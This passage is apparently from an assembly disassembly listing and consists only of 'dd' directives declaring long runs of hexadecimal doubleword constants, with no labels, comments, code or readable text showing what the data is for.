3C896531h, 6293E468h, 48648230h dd 25761CBEh, 27AAD657h, 0B46914D4h, 8B7CC398h, 72CEC8Dh dd 0B58D8813h, 617B538h, 678C438Ah, 73FE62Ah, 3945069Fh dd 376A3DE0h, 0EC092355h, 0CD95B645h, 8221ECB4h, 39005E8Ch dd 0D1E0F9Ch, 30BC84E4h, 0F2FA2CFAh, 97214790h, 8F2E9454h dd 52209DB8h, 70D885ACh, 136CCFE8h, 4BD409A1h, 0CB7F487Ch dd 861F6CB3h, 0F40D4076h, 1C32F03Ah, 0C7157C12h, 0B45DEBF0h dd 0DF9F5887h, 0EA9DE86Dh, 0D6CC74FAh, 0A38B48F1h, 1423E3A0h dd 0D8B2D053h, 15070010h, 4191907Dh, 353B43A6h, 64207642h dd 780FEB2Dh, 0CA990646h, 3B414973h, 419081D8h, 0F2052B33h dd 0C9B367B4h, 25760D0Ch, 0E8A0AC0h, 195B51D2h, 0C44C8A3h dd 0A8A76A2Bh, 0DDD9701h, 78A1FE22h, 6DBA1672h, 0D11AA164h dd 0BBDEh, 25896450h, 1A956A07h, 210B7A21h, 0F2E86589h dd 54E80E4h, 6517A927h, 28F401C0h, 0C5485E8Ch, 0BAA9207h dd 0C260DC15h, 20C1120Dh, 7A15153Ah, 8D5A0242h, 0EB0C5594h dd 80A88612h, 982D0E03h, 0B40DBFDFh, 0EB34E54Dh, 1DEB0825h dd 682B7068h, 0A893E5DCh, 2300CA94h, 838BC327h, 0E1A05B67h dd 0F05B8B1Eh, 96AA0D9Eh, 0A6B4565Bh, 45351414h, 50D86CC2h dd 0F3AA6C38h, 48120875h, 5E038604h, 0F696F52Fh, 334093B6h dd 2E500576h, 0BC5D8A85h, 83113CA8h, 0A4DD0EB8h, 3AE6684Ch dd 0DD2D0BD0h, 84605CB5h, 0D3882F3Ch, 4673018Ch, 0AB32A134h dd 20849064h, 4565604Fh, 0A8EB98A8h, 1660DE3Fh, 0F424A70Dh dd 308DF59Ah, 1704581Ch, 0FF277E64h, 852BE050h, 958EC10h dd 2A2A21EBh, 1C64D0C3h, 6C680014h, 64D92A22h, 1B7510FBh dd 451C0CE4h, 6404F50Fh, 48485D87h, 6063BA23h, 7D10A33Ch dd 0A005DC35h, 0D98E68Fh, 9CC78B57h, 3BB59138h, 0BEEB4BACh dd 6D96E86h, 0F84B2502h, 16D90C36h, 834B607Dh, 1E54017Ch dd 91502015h, 50495308h, 0D18AD876h, 83BBE9BDh, 0CD03C6Ch dd 0F4060C52h, 0A1D23708h, 5DEC102Ch, 0C131414h, 477071Fh dd 0DE9A3DC2h, 0F4822687h, 401BA114h, 0BB9C05A3h, 1547C901h dd 71F06EBh, 0C74148F1h, 0E0500C38h, 0EF4094E6h, 49C32D40h dd 2570E14Bh, 4F410AD9h, 0E2F936A2h, 48538C8Dh, 0F452D868h dd 2584EC04h, 0E0EEBC0h, 52084059h, 8F4ABBB5h, 4B63C102h dd 6568B3CFh, 935664A7h, 0E80F8055h, 0BC942AACh, 50FCC908h dd 0ED88E347h, 826A0037h, 812EC0B9h, 0FC795AA2h, 5D859270h dd 2D73E350h, 0A02EFCA9h, 17749D90h, 0B0FA3415h, 7A019580h dd 94B46869h, 3B3E4BB2h, 70018523h, 6DA10FEh, 1B31F883h dd 6CE26CA5h, 460C5FC9h, 1015FA6Ch, 0A4D87373h, 558DB2BAh dd 528760DFh, 0A3262CADh, 0D95B0F1h, 0E79600F6h, 241AF359h dd 661184C3h, 592A17D5h, 4E40F24Bh, 8A9CC906h, 201650CFh dd 0C2994F12h, 4F907204h, 0ABDC566Ch, 0FC134908h, 8C006A66h dd 1CE6826Ch, 261D149Ch, 0E016F520h, 96121C90h, 87CF8A8Eh dd 6CC9172Ch, 736868F4h, 6827233Fh, 0C2830F68h, 151019EAh dd 7D03652h, 23B99869h, 4648F496h, 95689668h, 652A612Dh dd 88435A07h, 40A84C0h, 10A6F00Dh, 0B5102266h, 0E60B22Bh dd 0A40B139Bh, 0EA26F4E1h, 0E8891E4Ah, 9A258A8h, 48A39224h dd 5046D22h, 0DD35BB69h, 9415D203h, 0EB585764h, 0EC86B3C2h dd 15CC681Ah, 0E98BA959h, 57A2B26Eh, 5CAD8003h, 38C09B01h dd 0AE64287Fh, 5096C05Eh, 95364D55h, 6312343Dh, 1E9FBC97h dd 61B2B512h, 0C8508B3Eh, 9BB09464h, 0F460A30Eh, 0EE290355h dd 580A0AFCh, 0D5638FC1h, 1275889Ah, 4F6402C9h, 8B646018h dd 1036AD84h, 5122FC10h, 10E54738h, 4D8C09EBh, 0E4AC117Eh dd 47EC0D70h, 0C84E410h, 1CC83171h, 0F0AD81FCh, 0FA06C10Fh dd 19300A14h, 95068775h, 3D550938h, 89DC3D10h, 8C278FFh dd 951C63BCh, 98D4C441h, 3F68CA8Dh, 0E8F60464h, 8810458Ah dd 60C6E80Eh, 33184803h, 58D8F8CEh, 0A42AFB1Ch, 456A13F4h dd 7A97572Fh, 0B1112B2Fh, 65F87D08h, 0C860A77Bh, 30118B08h dd 251700C8h, 0FB69C880h, 0F6715AAAh, 0BFD4453Ah, 4418D01Fh dd 0F3149B98h, 8B8236F0h, 59667A7Dh, 0B2E45857h, 0C8C149B7h dd 0B9E1E0D8h, 22FE01E0h, 0D74D446h, 0EB01E657h, 91C5CC17h dd 98BC620h, 9D630AF2h, 0F7491839h, 0F453D43Ch, 6CB3EC6Dh dd 0C8D0D07Ch, 0ECC7359h, 90C55832h, 20F087CCh, 8980A927h dd 591FFD50h, 0E0A10800h, 960C6869h, 11E001A7h, 86D0FF8Ch dd 0D098009Fh, 689F918Dh, 19D5DFCh, 141F4AF0h, 0E792CC25h dd 152A22C8h, 0DB21DCD8h, 0C6B837D8h, 0CC58016Bh, 2D921909h dd 9CD4D80Fh, 0E81B300Ah, 22E9D3F3h, 0CD73051Eh, 3DB61C44h dd 5FD44F3h, 3C1A54D0h, 8C8BC6ECh, 278D0540h, 44E80E8Bh dd 0BF0F7EF0h, 0A500A40h, 0A1038DE9h, 1344732Bh, 26803FEBh dd 8AC490B7h, 0EF00C6C9h, 9709ABC2h, 0C0088A0Eh, 0D3EF0AC1h dd 4D063907h, 0B86040F3h, 5B8F3151h, 147E667h, 0C851AD23h dd 0DB27FD14h, 1C8DDED9h, 6200D92h, 27273024h, 34382727h dd 0C8BD2C28h, 2CCC4160h, 78FB06h, 0A6F10C98h, 3E2BBD32h dd 69DD145Eh, 0B55AB099h, 0F55A022Ch, 0C460038Ah, 269012E7h dd 6974AD8Ch, 5B35AF80h, 4848FDC4h, 233D037Ah, 5A49ABDBh dd 1853C30h, 0A7F1AC19h, 1C196B73h, 9A497E59h, 0EB0D7624h dd 5383416h, 0C7E417EFh, 0BCDE8D85h, 0B0437502h, 0DFA58F04h dd 2C8D8CE2h, 80141888h, 0D6CF613h, 0D4F76BBAh, 0F215204Bh dd 879217BEh, 0E2300023h, 99E88C8h, 47EF027Ah, 30E11918h dd 10DD107Ch, 0DD20C958h, 1C1B896Bh, 0AF191A07h, 34B3BC2Ch dd 30182E8Bh, 8C25815Bh dd 1C20056Ch, 812F1EC3h, 0F8946193h, 0EB2C4F22h, 0B28D9032h dd 684F574Eh, 53DB2072h, 2322EB28h, 22F84014h, 7310530Bh dd 28755E44h, 67860E1Eh, 4E214D56h, 0C94B9D5Bh, 0AE180818h dd 0AA430142h, 0CC49FF92h, 0CC92E4AEh, 0A011805h, 0D981D658h dd 8A103502h, 0CF186177h, 54C2CE0Ah, 413DF03Fh, 0E96D9228h dd 0E50F0E7Fh, 0B8051FE3h, 0F053161Eh, 0F6A38888h, 1B190791h dd 0C0143614h, 29B90927h, 0EC1490E0h, 7530EC25h, 3F632BA4h dd 0A48889ECh, 18261836h, 3A024F63h, 8E92ADE8h, 7058E826h dd 62A82CCAh, 45102C8Ch, 0A69DD0EAh, 0B220B4E4h, 0E2759300h dd 26824FFCh, 0A42B65F4h, 5C2111Ch, 0DF6226A6h, 89DE01D4h dd 0E496EF3Dh, 8B430662h, 1B671442h, 0B5061A84h, 91C6863h dd 310DE809h, 3EC1E207h, 94329B5Dh, 6068599Eh, 25D9A096h dd 0FEECA11Bh, 6D500F0Ch, 1EC2A4B6h, 10EF45A3h, 10A35482h dd 1403BA13h, 0BF557AECh, 13A0EE2Fh, 1ED84B9Ch, 0BD2B2B66h dd 3035F225h, 0CD2E778h, 0EEE4C385h, 1BEB7205h, 2305FB21h dd 0EEE41C93h, 3876038Ah, 20CF5A6Bh, 0B721674h, 20463D98h dd 44DA5D99h, 222CF7ADh, 0E85B8D8Dh, 0B0948A5h, 82345C18h dd 0B36462C2h, 0D5173716h, 304F6CC2h, 0E8A4043Dh, 0C052BC58h dd 0B610D29Bh, 7B270152h, 0B0E1CA93h, 0C8022201h, 3A87901h dd 467BFC58h, 4917C91Bh, 1B758ACEh, 1C016413h, 98745C69h dd 25206D96h, 58C32837h, 0F0112FCh, 0B895E601h, 0CD00F276h dd 0FC101856h, 434B3C80h, 4105915h, 0FB991B01h, 0D46824EBh dd 4B0F1679h, 0DD54E002h, 0BC8392B0h, 96B40492h, 1889A4A4h dd 81B81142h, 310365C4h, 9601B046h, 304D1AE5h, 2F2A1048h dd 0E1EC880Ch, 9534B3CEh, 253D1EBAh, 97B260AFh, 5B081036h dd 91B17359h, 143B160Ch, 28FB3D04h, 3F5C6CBBh, 38752320h dd 53587951h, 0A0BBE31h, 538A7E39h, 132025B6h, 94FEB41h dd 0D796CBA9h, 5A3EC04Bh, 6628761Ah, 28308E2Eh, 79B3B41Ah dd 958F904h, 50C06EEDh, 0EB044604h, 5E2C05C8h, 9843902Dh dd 921CD467h, 2C1EC423h, 67986798h, 912C9087h, 2141003Dh dd 5A25F61Fh, 610A167Eh, 0CAB0347Ch, 7F7AF20Eh, 5420F029h dd 816CB091h, 20812081h, 961E4287h, 4CE796E7h, 5147060Ah dd 180766DCh, 27AA5350h, 0A1E80CF2h, 627FA7E2h, 7445AF0Fh dd 26AD61E5h, 1128C32Bh, 0CC576942h, 0BEE51FA8h, 0C6CFDFE8h dd 0A50CD5BEh, 7DA4A566h, 2A75EEE0h, 1486C98h, 0A78141Fh dd 7C3580F2h, 7755822h, 0B2EE078h, 0BE12D867h, 0A8C9B78Ah dd 0D892ECC9h, 2B1A8D0Fh, 3BCE3DF3h, 0ABE049ECh, 0E820CC28h dd 0DC4FF458h, 7F5342CCh, 3230E80Eh, 5BBB6C43h, 39DA1070h dd 337F6605h, 78E1DCA4h, 0DC68231Bh, 443FDC4Ch, 0DDC8E405h dd 182F6B0Eh, 7537390Bh, 81AD0C09h, 3C3E857Eh, 2B0BEBD5h dd 2D0156Ch, 622BD8CAh, 0F15784EAh, 175D697Ah, 436AECF0h dd 99EAAE30h, 5E5F1A1Ch, 19E4100Bh, 3A6424FCh, 5DB40745h dd 38EC1C83h, 343734DDh, 8118AC0Eh, 10AA5C3Ch, 0D901F2BBh dd 458B7D10h, 6A298914h, 25AC907Ah, 81001B6Ah, 0D8F8838Bh dd 1FB75BBh, 52B48FEh, 78AA9F18h, 40180199h, 0EC4A54C9h dd 0FD872037h, 260EB97Bh, 0A28F610Ch, 87229E0Eh, 36FDB135h dd 4FA7CF90h, 0FE34FE10h, 4486CD0Eh, 9F04683Dh, 36565289h dd 70CDDBBBh, 0E1C71104h, 16220B59h, 75C1C970h, 0A43D9EF8h dd 7508CAE9h, 6D845ECh, 0BC1F92E4h, 1B7E1C9Bh, 9EDC1F17h dd 96132036h, 7D20D051h, 366CBC91h, 67348308h, 622943D9h dd 3D77C4C9h, 59DA003h, 2B0C2000h, 0ECD8EA21h, 68441180h dd 310005FAh, 8D0E2D92h, 525FDD7Ah, 4C7E0305h, 8B54C068h dd 0EBC49713h, 2765C3AAh, 0B2FB2EB4h, 80186791h, 685600A4h dd 0BF54599Ch, 2D0059D4h, 0F7596599h, 8D8BF9h, 0B7FBF62h dd 0F981C82Bh, 0C8057696h, 8C597B59h, 25DF461Eh, 0EDD81366h dd 0F8554C11h, 19459C08h, 399979DEh, 0DBD2F8E8h, 1840154Ah dd 9C671A4Ah, 662E3290h, 0E2F203h, 4A3E0CD0h, 0B748D5B6h dd 11BE233Dh, 0C7BEC259h, 5992DCB5h, 0EC15A834h, 0E7C97929h dd 0F8E4F8E4h, 3BEF8E4h, 60966E66h, 0C5D951F7h, 0B37EE0DAh dd 5B22077h, 3CE01921h, 423CB387h, 858B3DDFh, 7DE3E4A1h dd 621B0014h, 18C8F170h, 5C196090h, 0F93F56h, 50E290E9h dd 54007F9Eh, 840E03BBh, 0C44F480Bh, 55F014A1h, 3C7E4C0h dd 743807F8h, 0BE590C65h, 7EA99E14h, 28B3803Bh, 9DFCBAF6h dd 18F74810h, 5D45AF01h, 20B0FC19h, 0FC3F6F11h, 481EC01Ah dd 2774FE44h, 6CE22530h, 8DBA968h, 584BC4F6h, 0F608C82Ch dd 9E6426A3h, 487202FBh, 0D6509DF7h, 60B0EC20h, 431EFBA7h dd 4B01690Ch, 0F7489C80h, 7B647226h, 76A1D60h, 0F5E8DCEBh dd 0E49E13Bh, 0A580F5E8h, 3D242B25h, 0A00A4DF0h, 480B4B18h dd 12CF3682h, 8CF7F784h, 63964D94h, 0F5E07F9Fh, 0EF5DC2Ch dd 0EFCEFED7h, 0F5DC2C0Bh, 4C7C0005h, 0BC4B2815h, 8D3EA80Eh dd 8B8C3711h, 0DDCA035h, 18BC6690h, 0C8BF7B1Eh, 2118A7C7h dd 18208488h, 9DFBDD3h, 0EB0B9589h, 8D198E9Eh, 0DB7F33B6h dd 2DE8478Ah, 0F70C058Ch, 0D9CD2D9Fh, 0A90335FDh, 85C6AD45h dd 8A2D063Fh, 1EE9DD23h, 5398588h, 33330B8Ah, 2330D0B3h dd 0C81092Dh, 86041202h, 239353A9h, 1117F939h, 3923162Eh dd 1B349239h, 9036603Ah, 6E402093h, 0F491392h, 9DCC31E2h dd 0F1702160h, 0B246C651h, 2F16DDE7h, 0D0F8FE9h, 1631C964h dd 796C25F5h, 1AF21321h, 0A4272025h, 0BC691B84h, 2179019Dh dd 0AC3E011Fh, 1B239DB0h, 97EBAA0Fh, 5CA48C5Bh, 0BE27B198h dd 0A7C80D84h, 2D7F002h, 0D8B091Bh, 23646018h, 2BE8A1B6h dd 0D02C3DC1h, 670577E4h, 9C1CD0D0h, 9D78FFFFh, 5F358B64h dd 98B680Bh, 669D82Ah, 48182E69h, 81491018h, 0D4181919h dd 99ED7FC4h, 12F706A7h, 0A14305h, 44D689EDh, 8525296Ch dd 203D8950h, 0DA6F9982h, 0E530000Ch, 0A610B658h, 0B91B5546h dd 8C284E4h, 514329Dh, 1918902Fh, 4E370C10h, 9C97041h dd 0FC465373h, 0BC49229Ch, 0C3007827h, 0F66E061Ch, 13929B2h dd 7536F057h, 0C49B4B15h, 11E41C80h, 892AB86Dh, 49C7B217h dd 72DE9CD4h, 22724761h, 2034C85Ch, 0E48E40h, 0C8B80916h dd 266120F6h, 6F055516h, 953C9110h, 5601A84Ch, 0C483058h dd 4C3798C8h, 13C41175h, 680DF066h, 0D9CF2201h, 5BF37ED9h dd 76E10211h, 4BC26102h, 42014B88h, 20389D25h, 6A1C7C17h dd 0EC8EC28Bh, 0A607D784h, 813070A2h, 164ABC1h, 18FB9C64h dd 8B3B0B90h, 1E5C88EDh, 0A1F8922Fh, 9C4C6872h, 849C4083h dd 88212C27h, 0FE32F01h, 863018C3h, 852A7034h, 900D2A42h dd 218AE28h, 1AF923Bh, 0F80CAC2Ah, 7A32184Bh, 0FE793101h dd 69E8F39Bh, 744E9076h, 3B39CE2Fh, 0F1980AF0h, 9063032Bh dd 0F6835CAAh, 0AB880410h, 11E029D9h, 71A130Eh, 0FAD90EC8h dd 35D09BE8h, 78101BFCh, 349BE024h, 0A13A8A00h, 0C5A13194h dd 0C013E6D1h, 98A0B481h, 0C5CFA5h, 2428057Bh, 0A3367C1Ah dd 137F1261h, 629BC468h, 0FF252CC4h, 44F4119h, 0A07F293Ch dd 490086E5h, 0F4C879B4h, 9CF5A09Fh, 0F503A4E5h, 0E59CE77Eh dd 5BD8106h, 1CCCB603h, 3F1D7D6Ch, 8046A59Ch, 3B19C111h dd 2B49CAEBh, 0D191792Eh dd 0A4889BD4h, 24C87D9Bh, 121410ACh, 8590394h, 940594C8h dd 478B5EAAh, 0E1227CBh, 18E78690h, 94880E1Ch, 490081E4h dd 0B29B78C9h, 3B990693h, 4764561Bh, 0BC26F181h, 20FD12EBh dd 0C264F241h, 4C9B583Ah, 76A3871Ch, 4C17A920h, 0E12F149Bh dd 204E4253h, 0EF883C43h, 0E42E4272h, 1E572030h, 43640F64h dd 1F018120h, 6552D03h, 2C143203h, 34184EFBh, 78A391E8h dd 799B0889h, 954A9C64h, 9AFC2D0Ah, 2E93C126h, 9AE8B821h dd 7936131Ah, 0EE808C81h, 24DC3536h, 6F20370Ch, 58806364h dd 88BB2392h, 0A9B11FDBh, 1ABB35E8h, 714850Ah, 5670BDF4h dd 9A000768h, 0BC2C92C5h, 0BEEEE09h, 0ED90C124h, 22D08D43h dd 6C064A58h, 0BD714D83h, 105C8324h, 0EC060910h, 61AA9B0Ah dd 6125E5B8h, 0B040984Bh, 201A392Ah, 42A43203h, 2C56E77Ah dd 0A59006C0h, 0A4378405h, 7F7E0286h, 19077610h, 569C01B0h dd 4B09742Fh, 0E348C962h, 21B2DD08h, 9A7C113Bh, 23AC4390h dd 0CD1C0189h, 0C384629Ah, 131FB902h, 40643812h, 3E757C26h dd 8B347CF2h, 9A0CAD34h, 6FC7CFACh, 199A740Bh, 0F29A600Ch dd 0BBD9AA1h, 18A62F68h, 25B7822Ch, 0EB53054Ah, 0EC4484E4h dd 500A5F25h, 0C85C249Ah, 44F94D09h, 0F210E2FDh, 303C201Ch dd 1C80729Ah, 9A24DC40h, 459849Ah, 3926105Ch, 0A64060ABh dd 8B205210h, 8C3C9480h, 0B3085A4h, 0A48C0720h, 65630EB9h dd 4B37011h, 4064A443h, 0E2A33C3Bh, 69B65ACBh, 99D46809h dd 485C9732h, 0A999F23h, 1578042h, 70241B40h, 0F996100h dd 835F99B0h, 0D0E486Ch, 722DA86Ah, 0BEC90D80h, 8C709CACh dd 3E10C09h, 9974682Ah, 91E2791Ch, 0C3215AECh, 70996C62h dd 84C06608h, 260A37C3h, 28D2AF0Bh, 88AC6BC7h, 0D66AA126h dd 72104901h, 0F6225CEEh, 84861E31h, 3A2905A4h, 84C3006Fh dd 25DA014Bh, 80273E4Fh, 84A484A0h, 45EAA1A4h, 16054ABEh dd 5538118h, 0A6A84BE1h, 6417C306h, 7080439h, 3C20BE68h dd 6557B34Bh, 9D04408h, 0B04EC9E4h, 75175689h, 648E7948h dd 4040490h, 0D8132020h, 474FEB2Bh, 0B23B6700h, 4F600C9h dd 565B0050h, 98ECC91Dh, 752D3414h, 0FC3550EFh, 0E0AFC108h dd 89C1D158h, 1AEBFB63h, 438AC89Ch, 0C44F98F6h, 8401C898h dd 0A07CDB91h, 43451EAAh, 0E4F2D691h, 78D732F3h, 7CA07C9Ch dd 6E4308A0h, 7CA55713h, 0C87967A0h, 9BFC1393h, 9C789BFCh dd 163A40B6h, 8F98A810h, 0C00E4056h, 0C098FA42h, 8DF24A12h dd 0C8E1901h, 0A10148Eh, 933CD377h, 746BAD99h, 90646A94h dd 3B375D18h, 2CE68289h, 0CCCF4D20h, 52235FFDh, 8448A28h dd 688588F7h, 0BB991509h, 69F88659h, 56AA580h, 0B2572C32h dd 0FA6BF91Ch, 8032C96Ch, 6EFC6D8Ch, 5CB23200h, 0C8706FFDh dd 0FECB2572h, 72FF71h, 73CE1674h, 13217183h, 50DE8DB2h dd 646B6E0Dh, 68320210h, 61286089h, 0A01CA632h, 6560A544h dd 1D38640Eh, 0BDB38870h, 5C9C64E7h, 260A49Dh, 0F08B1BD4h dd 15217E4Ch, 0F4B1B39h, 832B3402h, 6B53F1C8h, 0B98B830Fh dd 0ED987A5Eh, 4E5B6600h, 0CDB3AFD5h, 5010C620h, 877D9ABh dd 1148F550h, 88C56E10h, 0E9B8E7Ah, 0C81DCC3Bh, 160126D6h dd 0B310C60h, 3D3BFD8Bh, 0B6BC7230h, 892BC083h, 14DBEE08h dd 0C4B3B42Bh, 7643CA1Eh, 0BDF1F0Eh, 0F80934B2h, 0B48B1907h dd 978229Ah, 16E5082h, 35250E0Ch, 74069818h, 0CC480F4h dd 868EB98h, 22B777DDh, 0B326D65h, 6C97E8BBh, 103C804Fh dd 197DC94h, 70BB32h, 97D4243Bh, 4C97C889h, 0A05807D8h dd 3B59C077h, 7205E8C0h, 467EB480h, 0C8580C28h, 924D269Ch dd 0D7082438h, 444E0F95h, 7BF40948h, 6805B58Bh, 325E435Ch dd 19A035E0h, 190B0D27h, 6343203Dh, 0F21720C4h, 88DE8102h dd 3587901Ch, 977C7B19h, 1795022Dh, 39149752h, 98B79BF4h dd 0F4C640D9h, 38140E9Bh, 1874EC9Ch, 0B9208A01h, 19765605h dd 1428DC55h, 0A8C0EC89h, 0BE1F3CDCh, 0DC5465D8h, 3B4E282Ch dd 0C6135527h, 58117374h, 21766C40h, 34407B63h, 655D7B14h dd 1F2429B3h, 8FC9307Bh, 0BD223DEAh, 9BF02305h, 3906C390h dd 1E249BF0h, 264390ECh, 0E834EC19h, 19264390h, 90E42CE8h dd 0E4192643h, 4390E03Ch, 28E01926h, 34CF6BDCh, 0A4EEDC19h dd 221BBF05h, 0EC0BDB23h, 0EEB73C24h, 0D8C8D8C8h, 0E41734B5h dd 2AE00B2Ch, 3CC8C8BDh, 0F2A560DCh, 994A7AB0h, 0E57CEB38h dd 0C88A9700h, 1C675C80h, 894556EAh, 96FCB2E1h, 0C0C40274h dd 3D12873Ch, 0BD980A10h, 2496F092h, 65595B0Fh, 9F11827h dd 46809310h, 460BE003h, 79341330h, 0EDD11508h, 0E2EB9322h dd 41905D08h, 34032396h, 0F9CC2705h, 0F82E0AFDh, 0EB9F4883h dd 0E228FAD0h, 17B23104h, 12C4708Bh, 0D90CFCFFh, 0D8BF62CEh dd 81178B7Fh, 180F0F74h, 403B3C45h, 43E1EB2Eh, 838013E4h dd 9F28DEB5h, 3C96C9ECh, 0EFE00h, 7D8414D6h, 0F9240EC3h dd 548B797Fh, 58B34F4h, 5989015Ch, 0E3B24288h, 0A8EC35FAh dd 7438230Eh, 0EE62839h, 0BEC1B3C2h, 0B0681BAAh, 492CF95Fh dd 0C9A40C04h, 0D0038A25h, 282BF0BDh, 0C52B763Dh, 0A0CF0E73h dd 0F19530Bh, 893B16B1h, 52057F12h, 42020270h, 60A34014h dd 701AB1C9h, 0B3C11FFEh, 74ACEE65h, 0FC45D917h, 1E2041C1h dd 9FBEB51Ch, 0C10C142h, 4E6D5037h, 0EA1DB3B6h, 60061836h dd 0FB187938h, 0C59C7B02h, 569E49FCh, 0E89B24B0h, 0C7C12203h dd 0BA18F7B2h, 5BC1243h, 4ABB3E6h, 885FE5Ch, 5ECB1E07h dd 177C378Eh, 0DD92B02Ah, 941A00EDh, 2F77479Fh, 76FEC560h dd 6ABC7D4Ch, 0F620F68h, 0F2F88B0h, 1FED21C7h, 2567201Ch dd 8A460D80h, 67EC23C8h, 6873EB4Ch, 83782374h, 3C847907h dd 3268684Fh, 84682B75h, 60908F20h, 213AE533h, 1430B253h dd 32791858h, 58185C94h, 64BC7FBDh, 5818064Ah, 5C817FBDh dd 58188320h, 0C8172072h, 81185818h, 5805C81Ch, 6256318h dd 2AA15872h, 62E9AC60h, 3B5C0E21h, 992A642Bh, 75587464h dd 992A6499h, 0A507754h, 1200E40Eh, 6CA38073h, 0FB7E8FEBh dd 67722899h, 0C6A31B2Ah, 0A76514Ch, 2CA49596h, 6A2E94BFh dd 0F4EFBE57h, 0BDDDBA9Bh, 4FC41988h, 5912B9D5h, 71026042h dd 25BA3B24h, 1D11917Ah, 835A3078h, 4C2885D3h, 1C6244C1h dd 9027248Ah, 280184F8h, 0CE83B20Eh, 0C93C9FB4h, 30BE88F7h dd 0EA74A184h, 41B97EA6h, 6401811Bh, 0E9683626h, 2545F736h dd 1499116Bh, 50B732EAh, 53D04449h, 23E40C12h, 101027DFh dd 0A0E7E868h, 604EC0DDh, 1CC0FA12h, 8C8742C0h, 0BBC06B8Dh dd 2A6A2EB8h, 0E8292E1Ch, 9B8899A0h, 0FC521EA0h, 0E345589h dd 1DD9D81Bh, 1797B0FFh, 485B231Ch, 204DEA46h, 0BD81B318h dd 860E2661h, 3B36794Ah, 0A3DE800h, 6083E7E8h, 7D950C15h dd 0A8810EC7h, 67C1757h, 80358045h, 54D21021h, 0E08664DEh dd 0F73BB132h, 724B2C46h, 0A014A883h, 0D9811057h, 8F0C643Ah dd 94E4BB04h, 13FE7C9Bh, 1BB20E0Fh, 1832EB48h, 48F118F1h dd 0FC79219Ch, 9585F6FCh, 6BB1B2Dh, 8E6CD79Ch, 980EA261h dd 0BCEF270Ch, 70C6F67h, 169E6B21h, 0EB230868h, 0C3934185h dd 0EBF5B55Fh, 1D788317h, 10730405h, 6E4E35Ah, 92F6F95Fh dd 0C61F0C01h, 6B9EFDB4h, 3E73F4F1h, 50E11332h, 58C03A15h dd 3DB2C1CBh, 0C023904Ch dd 0FDB0BEC3h, 83FDB04Bh, 0B073B665h, 0C0D81AFDh, 211C074h dd 9FF86732h, 576497C9h, 15FE74F5h, 2E616CF4h, 0F001F439h dd 6426D4A2h, 0FD82E201h, 43055BFDh, 0FDB9FD4Eh, 20C4026Fh dd 603C65FDh, 1BF80C1h, 416A5A35h, 203B0B8Eh, 212A6D78h dd 0E983482Dh, 0E0D2C2E8h, 562DAB2Fh, 0FD2850C0h, 0DFB735A1h dd 75D6AC0h, 95BFE78h, 0BB86620Ch, 0D8680A05h, 0B23B6799h dd 349721E1h, 43DC088Ch, 2C110868h, 0BC0D160h, 0EE93DE8Bh dd 1C882678h, 5DB40868h, 26236680h, 61DB78BCh, 60963DEFh dd 91B0A25h, 0E44206F4h, 0FF4E1C7h, 6C96B300h, 0AFB5EF50h dd 0E1203AFh, 35842BBFh, 6228D553h, 4BD1E640h, 7815C926h dd 37B2F76Dh, 1FB0508h, 7A402111h, 0A393505Fh, 0B350A140h dd 0EAB1B514h, 0C750620Dh, 0C01231EEh, 5B30F73Fh, 0C95A2915h dd 0BC6C3880h, 0C001DF03h, 7D00A4CBh, 7287140Bh, 7A09E28Ch dd 8508AC3h, 0F451D910h, 0A01CF26Bh, 0EFF8A7h, 0B32D54D8h dd 0D031045h, 0C9A41C0h, 0D52B03B8h, 2E116E4Eh, 0EFF8A153h dd 0E08ACDECh, 0F3D0B1E5h, 0E8892D9Ah, 0B40DCC17h, 0D2AF6084h dd 6461F0Dh, 8A324330h, 0B2B6FC28h, 8D3A4258h, 6D908651h dd 931D8B76h, 264AFCFCh, 0FCFC4264h, 91512068h, 13223D9h dd 0C5C672FCh, 0A23F2933h, 21B8B725h, 35200815h, 0B2645021h dd 0EB450843h, 99022B76h, 58B902E4h, 0BB0E034Ah, 1E482E40h dd 34FB281Fh, 9F494096h, 812B749Eh, 2F65AEC2h, 85610C74h dd 61B5A03Ch, 0F4521081h, 948CA056h, 701F384Ch, 4E436C8h dd 0E080C9Bh, 94126102h, 282D51F4h, 0B9268AE7h, 0A24C50E2h dd 7C9C1214h, 1065AB3Dh, 20DFC771h, 762C6830h, 33758E59h dd 0B5106A8Eh, 30553114h, 83E051C0h, 1F640F82h, 64551802h dd 0BC16AF7Bh, 19A2A3Bh, 7357F4D0h, 0F4781923h, 0ECB9DCC8h dd 500F1179h, 0B8C91903h, 94D14B8h, 25515551h, 0E565C94Fh dd 647DF8F8h, 0D1BEA212h, 396A2623h, 0A972306Ah, 3F1B01EAh dd 31753F22h, 2884032Bh, 289EEAC7h, 1381D91Eh, 0C98D14DDh dd 0C73609Bh, 7407E83Eh, 0FF1490A1h, 0A32EF40Bh, 0F171F30h dd 0A16C6C34h, 43A18903h, 2B641ED6h, 0C1207672h, 5C1A05BCh dd 15C94A0Dh, 9ECFBB54h, 236CC25h, 0C2978C7h, 0D000408Bh dd 0D6A2151Eh, 6E5B0E40h, 4C0216B7h, 11200C39h, 150720Dh dd 330A010h, 2644D872h, 0D44B2910h, 1FBEB3B0h, 0B21B2730h dd 8632C8Ch, 91C1218h, 3B058C23h, 86AD0020h, 40225C14h dd 1265B613h, 44B6205Ah, 0AA4D821Dh, 2DBB2049h, 42364419h dd 12D9FDCCh, 90112E83h, 0FEEDAEEDh, 0C9625C32h, 0FEF17AA6h dd 1AFF6B8Bh, 5D9B180Ch, 0B2C8B418h, 0A28B1985h, 64C83CC8h dd 83442B2h, 0F2100CD3h, 180E65B9h, 0B88A504Eh, 9B1B05FDh dd 5B2185Dh, 0F7041A1Ch, 140C8D81h, 0EF1400B5h, 4358A32Ah dd 6938E12Bh, 11152C49h, 0DC1A033Ah, 0EE70703Eh, 0D81EA040h dd 0B4592708h, 26A8B3D0h, 0F8EFEB14h, 0FB03B3C9h, 16A0E862h dd 0A0E0690Ch, 5B6C94B3h, 4015D82Fh, 0DB457B08h, 40C7850Ch dd 8C014203h, 0D4853187h, 8F3E4FA0h, 1B6CA84h, 34FD34E3h dd 0E4BC80FDh, 0FC704742h, 79227279h, 0F81CFC70h, 0E49CF81Ch dd 0F81C0F20h, 0FD30FC94h, 0F90DE229h, 7E0FFC98h, 0ECE49C96h dd 0F4F4150Ah, 0F2390901h, 0FC90E384h, 720FC9Ch, 0FCA0C9E4h dd 0FCA0FC9Ch, 0E41C9479h, 0FC90FCA4h, 0E4F2FC90h, 0FC980073h dd 0FD34FC94h, 1E40555Eh, 0B253FC70h, 0E6849D09h, 15982DEBh dd 0D055F25Bh, 210C3887h, 0C72721A9h, 0A68499E1h, 